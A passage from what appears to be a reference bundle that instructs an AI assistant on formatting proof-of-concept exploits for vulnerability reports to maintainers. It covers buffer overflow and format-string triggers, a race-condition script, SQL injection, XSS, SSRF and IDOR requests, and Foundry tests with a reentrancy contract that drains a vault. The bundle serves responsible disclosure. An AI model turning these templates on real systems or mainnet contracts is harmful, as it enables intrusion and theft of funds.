can escalate privileges by modifying the cookie value.
```

## references/memory-corruption.md

# Memory Corruption Vulnerabilities

Format templates for memory corruption proof-of-concept output.

## Buffer Overflow

**Preferred format:** C program or Python script generating the trigger input

**Stack-based overflow:**
```c
// Generates input that overflows the buffer in vulnerable_function()
// at source.c:42. The buffer is 64 bytes but read() accepts up to 256.
#include <stdio.h>
#include <string.h>

int main() {
    // 64 bytes fill buffer + 8 bytes saved RBP + 8 bytes canary/padding
    char payload[80];
    memset(payload, 'A', sizeof(payload));
    // Write to stdout for piping to vulnerable binary
    fwrite(payload, 1, sizeof(payload), stdout);
    return 0;
}
```

**Heap overflow/use-after-free:** Provide allocation/free sequence with commentary
on heap layout. Include GDB/LLDB commands to inspect the crash.

Include the crash output (segfault address, register state, backtrace) as evidence.

## Format String

**Preferred format:** Minimal input + expected output

```bash
# The name parameter is passed directly to printf() at handler.c:87
# without a format specifier
./vulnerable_binary "$(python3 -c "print('%x.' * 20)")"
# Expected output: leaked stack values (hex addresses)
```

## references/poc-formats.md

# PoC Format Guide by Vulnerability Class

Detailed format templates for proof-of-concept output, organized by vulnerability class.
Select the format that best communicates the issue to the maintainer.

Each vulnerability class has a dedicated reference file with templates, examples, and
conventions. Consult the relevant file below when writing a PoC.

## Vulnerability Classes

- **[Web Application Vulnerabilities](web-application-vulns.md)** — SQL injection, XSS,
  SSRF, authentication/authorization bypass, and IDOR. Covers standalone scripts, curl
  commands, and multi-step request sequences.

- **[Memory Corruption](memory-corruption.md)** — Buffer overflows (stack and heap),
  use-after-free, and format string vulnerabilities. Covers C programs, trigger input
  generation, and crash evidence.

- **[Cryptographic Vulnerabilities](crypto-vulns.md)** — Weak randomness, ECB mode,
  padding oracles, hash collisions, and hardcoded secrets. Focus on demonstrating the
  mathematical/logical weakness.

- **[Race Conditions](race-conditions.md)** — TOCTOU and concurrent request exploitation.
  Covers threading scripts and timing evidence.

- **[Logic / Business Logic Flaws](logic-flaws.md)** — Step-by-step reproduction format
  with narrative context explaining why the logic fails.

- **[Configuration / Deployment Issues](config-issues.md)** — Exposed debug ports,
  misconfigured services, and insecure defaults. Minimal config + demonstration command.

- **[Smart Contract Vulnerabilities](smart-contracts.md)** — Fork test and unit test
  templates, Foundry conventions, cheatcode usage, interface resolution, and attacker
  contract patterns.

## Libraries

- **[forge-poc-templates](forge-poc-templates.md)** — Immunefi's PoC library for smart
  contracts. Base contracts for flash loans, reentrancy, price manipulation, and balance
  tracking. API reference, installation, and usage patterns.

## General

- **[General Format Principles](general-principles.md)** — Five core principles that apply
  regardless of vulnerability class: show don't tell, diff expected vs actual, one vuln per
  PoC, version-pin the target, include cleanup.

## references/race-conditions.md

# Race Conditions

**Preferred format:** Concurrent request script with timing evidence

```python
import threading
import requests

TARGET = "http://localhost:8080"
results = []

def make_request():
    resp = requests.post(f"{TARGET}/transfer", json={"amount": 100})
    results.append(resp.json())

# Fire N concurrent requests to trigger TOCTOU
threads = [threading.Thread(target=make_request) for _ in range(20)]
for t in threads:
    t.start()
for t in threads:
    t.join()

# Analyze results — if total transferred exceeds balance, race condition confirmed
total = sum(r.get("transferred", 0) for r in results)
print(f"[*] Total transferred: {total} (balance was 100)")
if total > 100:
    print("[+] Race condition confirmed — balance went negative")
```

Include the expected vs actual state as evidence.

## references/smart-contracts.md

# Smart Contract Proof of Concept Reference

Comprehensive guide for writing proof-of-concept demonstrations for smart contract
vulnerabilities. Covers approach selection, Foundry test templates, common vulnerability
patterns, and cheatcode conventions.

## Approach Selection

When the target is a smart contract, ask the user which approach to use before writing code.

### forge-poc-templates

Before choosing a test approach, determine whether the PoC would benefit from
[forge-poc-templates](https://github.com/immunefi-team/forge-poc-templates/) (by Immunefi).
This library provides base contracts for flash loans, reentrancy, price manipulation, and
balance tracking — eliminating boilerplate for common DeFi exploit patterns.

**Recommend forge-poc-templates when the exploit involves:**
- Flash loans (Aave, Uniswap, Balancer, MakerDAO — callbacks and repayment handled automatically)
- Reentrancy with token callbacks (ERC677, ERC777, ERC1363, ERC721, ERC1155)
- Price oracle manipulation (Curve pools, etc.)
- Monetary impact tracking (automatic balance snapshots and profit logging)

**Do not recommend when:**
- The PoC is a simple unit test with no DeFi interactions
- The vulnerability is pure logic (access control, arithmetic) without callbacks or flash loans
- Adding the dependency would complicate reproduction for the maintainer

Always ask the user whether forge-poc-templates should be used, and include your recommendation
based on the criteria above. If using forge-poc-templates, **study the repository first** —
read the base contracts and examples before writing code. Consult
**`references/forge-poc-templates.md`** for the full API reference, installation instructions,
and usage patterns.

### Fork Test

Runs against a forked mainnet (or testnet) using live on-chain state via
`forge test --fork-url`. Replays real contract interactions against the actual deployment.

**When to use:**
- The vulnerability depends on deployed state, oracle prices, or liquidity pool balances
- Cross-contract or cross-protocol interactions are difficult to mock
- Flash loan attacks requiring real pool liquidity and flash loan providers
- Oracle manipulation requiring live AMM reserves
- The most convincing evidence is needed — proves exploitability against the actual deployment

**Trade-offs:**
- Requires an RPC endpoint (Alchemy, Infura, local archive node)
- Slower to run than unit tests
- May break if on-chain state changes (pin to a specific block to prevent this)

### Unit Test

A self-contained Foundry test that deploys minimal contracts and sets up synthetic state.
No external dependencies beyond the Foundry toolchain.

**When to use:**
- The vulnerability is in isolated logic (reentrancy, access control, arithmetic, state machine)
- The flaw does not depend on external protocol state
- Simpler to run, faster to iterate, easier for maintainers to reproduce without an RPC endpoint

**Trade-offs:**
- Cannot demonstrate vulnerabilities that depend on real protocol state
- Requires manually setting up any state the exploit depends on
- Less convincing for cross-protocol attack chains

### Default Selection

If the user has no preference, default to **unit test** for isolated logic flaws and **fork test**
when the exploit depends on live protocol state.

## Fork Test Template

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

// Import or interface the target contracts
interface IVulnerableProtocol {
    function vulnerableFunction(uint256 amount) external;
}

contract ForkExploitTest is Test {
    // Target contract addresses on mainnet
    address constant TARGET = 0x...; // Vulnerable contract
    address constant TOKEN = 0x...;  // Relevant token

    IVulnerableProtocol target;
    address attacker;

    function setUp() public {
        // Fork mainnet at a specific block for reproducibility
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);

        target = IVulnerableProtocol(TARGET);
        attacker = makeAddr("attacker");

        // Fund attacker if needed
        deal(TOKEN, attacker, 1 ether);
    }

    function test_exploit() public {
        // Step 1: Record state before exploit
        uint256 balanceBefore = IERC20(TOKEN).balanceOf(attacker);

        // Step 2: Execute exploit as attacker
        vm.startPrank(attacker);
        // ... exploit steps with comments explaining each action ...
        target.vulnerableFunction(1 ether);
        vm.stopPrank();

        // Step 3: Assert the vulnerability — verify unexpected state change
        uint256 balanceAfter = IERC20(TOKEN).balanceOf(attacker);
        assertGt(balanceAfter, balanceBefore, "Exploit: attacker gained tokens");
    }
}
```

**Run command:**
```bash
forge test --match-test test_exploit --fork-url $ETH_RPC_URL -vvv
```

**Fork test conventions:**
- Pin to a specific block number in `vm.createSelectFork` for reproducibility
- Use `vm.envString("ETH_RPC_URL")` so the maintainer supplies their own RPC
- Use `deal()` to set up attacker balances instead of impersonating whales
- Use `vm.startPrank` / `vm.stopPrank` to simulate attacker context
- Assert the exploit outcome with descriptive failure messages
- Include `-vvv` in the run command for full trace output

### Resolving Interfaces for Fork Tests

Fork tests interact with already-deployed contracts, so the test file needs interface
definitions with correct function signatures. Getting this wrong causes silent failures
(the call reverts or hits a fallback) with no compiler warning.

- **Check the project first.** Look in `src/`, `interfaces/`, and `lib/` for existing
  interface files before writing your own. Many protocols ship their interfaces as part of
  the source tree.
- **Create minimal interfaces.** If no existing definition is available, define an interface
  containing only the functions the exploit calls — do not attempt to replicate the full ABI.
  This keeps the PoC readable and avoids unnecessary compilation errors from unrelated
  functions.
- **Use block explorer ABIs when available.** For verified contracts on Etherscan (or the
  chain's equivalent explorer), fetch the ABI to confirm exact function signatures, parameter
  types, and return types before writing the interface.
- **Keep interfaces inline or co-located.** Define them at the top of the test file (as shown
  in the template above) or in a single dedicated interfaces file alongside the test. The PoC
  must be self-contained so a reviewer can run it without hunting for dependencies.
- **Verify function selectors match the deployment.** A wrong parameter type or a missing
  `returns` clause produces a different four-byte selector. If the test silently fails or
  reverts with no useful error, compare your interface's selectors against the on-chain
  contract using `cast sig` or the explorer's ABI.

## Unit Test Template

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/VulnerableContract.sol";

contract ExploitTest is Test {
    VulnerableContract target;
    AttackContract attacker;

    function setUp() public {
        // Deploy vulnerable contract with minimal setup
        target = new VulnerableContract();

        // Seed initial state to reach vulnerable code path
        deal(address(target), 10 ether);

        // Deploy attacker contract if needed (e.g., for reentrancy)
        attacker = new AttackContract(address(target));
    }

    function test_exploit() public {
        // Step 1: Record pre-exploit state
        uint256 targetBalanceBefore = address(target).balance;

        // Step 2: Trigger the vulnerability
        attacker.attack{value: 1 ether}();

        // Step 3: Verify exploit outcome
        assertEq(address(target).balance, 0, "Exploit: vault fully drained");
        assertGt(address(attacker).balance, 1 ether, "Exploit: attacker profited");
    }
}

/// @notice Minimal attack contract demonstrating the exploit vector
contract AttackContract {
    VulnerableContract target;

    constructor(address _target) {
        target = VulnerableContract(_target);
    }

    function attack() external payable {
        target.withdraw(msg.value);
    }

    // Reentrancy callback
    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw(msg.value);
        }
    }
}
```

**Run command:**
```bash
forge test --match-test test_exploit -vvv
```

**Unit test conventions:**
- Deploy all contracts in `setUp()` — no external dependencies
- Use `deal()` to set balances, `vm.warp` for timestamps, `vm.roll` for block numbers
- If the exploit requires an attacker contract (reentrancy, callback-based attacks),
  define it in the same test file below the test
- Keep the attack contract minimal — only the logic needed to trigger the flaw
- Use descriptive assertion messages that state the exploit outcome

## General Foundry Conventions

- **Always include both `setUp()` and `test_*` functions.** Foundry discovers tests by the
  `test_` prefix.
- **Pin dependencies.** Specify the Solidity compiler version and Foundry version in comments
  or in `foundry.toml` configuration.
- **Use standard cheatcodes.** `vm.prank`, `vm.deal`, `vm.warp`, `vm.roll`, `vm.expectRevert`,
  `vm.expectEmit` — these are universally understood by Solidity auditors.
- **Log evidence.** Use `emit log_named_uint` or `console.log` for intermediate values that
  help maintainers understand the exploit flow.
- **One exploit per test function.** If demonstrating multiple attack vectors, use separate
  `test_` functions with descriptive names.

## Attacker Contracts vs Cheatcode Simulation

When the exploit involves callbacks, reentrancy, flash loans, or any on-chain interaction
pattern that spans multiple steps within a single transaction, build an actual attacker contract
rather than simulating the behavior with cheatcodes. Attacker contracts produce more realistic
and convincing PoCs because they demonstrate the actual exploit path an attacker would take
on-chain.

**Use cheatcodes for preconditions and context, not for core attack logic:**
- `deal()` — fund the attacker or seed contract balances
- `vm.prank` / `vm.startPrank` — impersonate an account to set up state or trigger the exploit entry point
- `vm.warp`, `vm.roll` — advance timestamps or block numbers to reach a vulnerable window
- `vm.expectRevert`, `vm.expectEmit` — assert expected side effects

**Use an attacker contract when the exploit requires:**
- **Reentrancy** — the attack is callback-driven; the attacker contract must implement `receive()` or `fallback()` to re-enter the target
- **Flash loans** — the attacker contract must implement the lender's callback interface (e.g., `onFlashLoan`, `executeOperation`) to receive and repay the loan atomically
- **Sandwich attacks** — the attacker contract must execute front-run and back-run operations within controlled transaction ordering
- **Any exploit requiring atomic multi-step execution** — if the attack only works when multiple calls happen within a single transaction, an attacker contract is the only realistic way to demonstrate it

**Keep attacker contracts minimal.** Only include the logic needed to trigger and complete the
exploit — constructor, attack entry point, and any required callbacks. Avoid unnecessary
abstractions or helper functions that obscure the exploit flow.

## references/web-application-vulns.md

# Web Application Vulnerabilities

Format templates for web application proof-of-concept output.

## SQL Injection

**Preferred format:** Standalone Python script or curl commands

**Template structure:**
```python
#!/usr/bin/env python3
"""
SQL Injection PoC - [Target Component]
CWE-89: Improper Neutralization of Special Elements used in an SQL Command

Demonstrates: [data exfiltration / auth bypass / etc.]
"""
import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"

# Step 1: Send crafted input to vulnerable parameter
# The [parameter] field is concatenated into a SQL query without sanitization
payload = {"param": "' OR 1=1--"}
resp = requests.post(f"{TARGET}/endpoint", data=payload)

# Step 2: Verify injection succeeded
if "expected_indicator" in resp.text:
    print("[+] SQL injection confirmed: query logic was altered")
    print(f"    Response contained {len(resp.json())} records (expected 1)")
else:
    print("[-] Injection did not succeed — target may be patched")
```

**For time-based blind injection**, use `sleep()` payloads and measure response time
differences. Print the timing delta as evidence.

## Cross-Site Scripting (XSS)

**Preferred format:** curl command + browser reproduction steps

**Reflected XSS:**
```bash
# Inject a benign payload into the vulnerable parameter
# The value is reflected in the response without encoding
curl -s "http://localhost:8080/search?q=<img+src=x+onerror=alert(1)>" | grep -o '<img[^>]*>'
```

**Stored XSS:** Use a multi-step format — one request to store, one to retrieve and
demonstrate reflection.

**DOM-based XSS:** Provide a JavaScript snippet showing the vulnerable sink and a URL
that triggers it. Include the exact DOM API call that introduces the payload.

## Server-Side Request Forgery (SSRF)

**Preferred format:** Standalone script with out-of-band verification

```python
# Step 1: Start a listener to confirm the server makes the request
# In terminal 1: nc -lvp 8888
# Step 2: Send the SSRF payload
payload = {"url": "http://127.0.0.1:8888/ssrf-probe"}
resp = requests.post(f"{TARGET}/fetch", json=payload)
# Step 3: Check listener — if connection received, SSRF confirmed
```

For blind SSRF, use DNS-based out-of-band techniques with a controlled domain or
a webhook service.

## Authentication / Authorization Bypass

**Preferred format:** Multi-step request sequence

Document the exact sequence of requests showing:
1. Normal authenticated flow (baseline)
2. Modified flow that bypasses the check
3. Evidence of unauthorized access

Use numbered steps with curl commands or a script that performs both flows
and compares results.

## Insecure Direct Object Reference (IDOR)

**Preferred format:** curl commands showing two user contexts

```bash
# As User A (owns resource 1)
curl -H "Authorization: Bearer TOKEN_A" http://localhost:8080/api/resource/1
# Returns: User A's data (expected)

# As User B (should NOT access resource 1)
curl -H "Authorization: Bearer TOKEN_B" http://localhost:8080/api/resource/1
# Returns: User A's data (VULNERABILITY — no authorization check)
```

## scripts

```

```

## scripts/validate-poc.sh

```bash

```

